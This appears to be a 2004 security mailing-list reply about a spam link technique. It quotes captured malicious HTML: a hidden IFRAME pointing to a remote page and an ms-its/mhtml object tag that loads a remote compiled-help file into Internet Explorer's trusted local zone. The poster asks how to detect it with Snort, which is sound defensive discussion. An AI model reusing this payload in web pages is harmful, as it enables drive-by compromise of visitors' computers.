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Re: A new technique to disguise a target URL in spam

From: Stef <stefmit () comcast net>
Date: Mon, 5 Apr 2004 12:43:42 -0500
On Apr 5, 2004, at 10:18 AM, Jeremiah Cornelius wrote:


On Sunday 04 April 2004 17:18, DCISS wrote:

I wasn't going to risk my home
computer on an unsafe link, and by the time I tried on a work computer, the site was down, so I don't know what clicking on the link would have 
downloaded.  Has anybody else seen this techique before, or know what
was being propagated?
They are hiding a compiled help extension behind a URL that fakes being local to C: - forcing the appearance of the file in the local, trusted zone with 
IE.

wget http://anz.com | less :

        <IFRAME src="http://salecheap.net/test.htm"; width=1 height=1       
        style="display:none">
        </IFRAME>
        <body onload="location.href='http://anz.com'";>
        anz.htm (END)

wget http://salecheap.net/test.htm | less :

        <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
        <html>
        <head>
        <title>Please wait...</title>
        </head>
        <body>
        <object data="ms-its:mhtml:file://C
        \\MAIN.MHT!http://salecheap.net//main.chm::/main.htm";
        type="text/x-scriptlet"></object>
        </body>
        </html>
        test.htm (END)
Now how would one go about writing filters for - let's say - Snort - based on something like this? Could it be - in pseudo-code - something like: if location.ref <> src ==> then "take action"? Would it be safe to assume that everything where the location.ref is different than src is malicious? 

Stef


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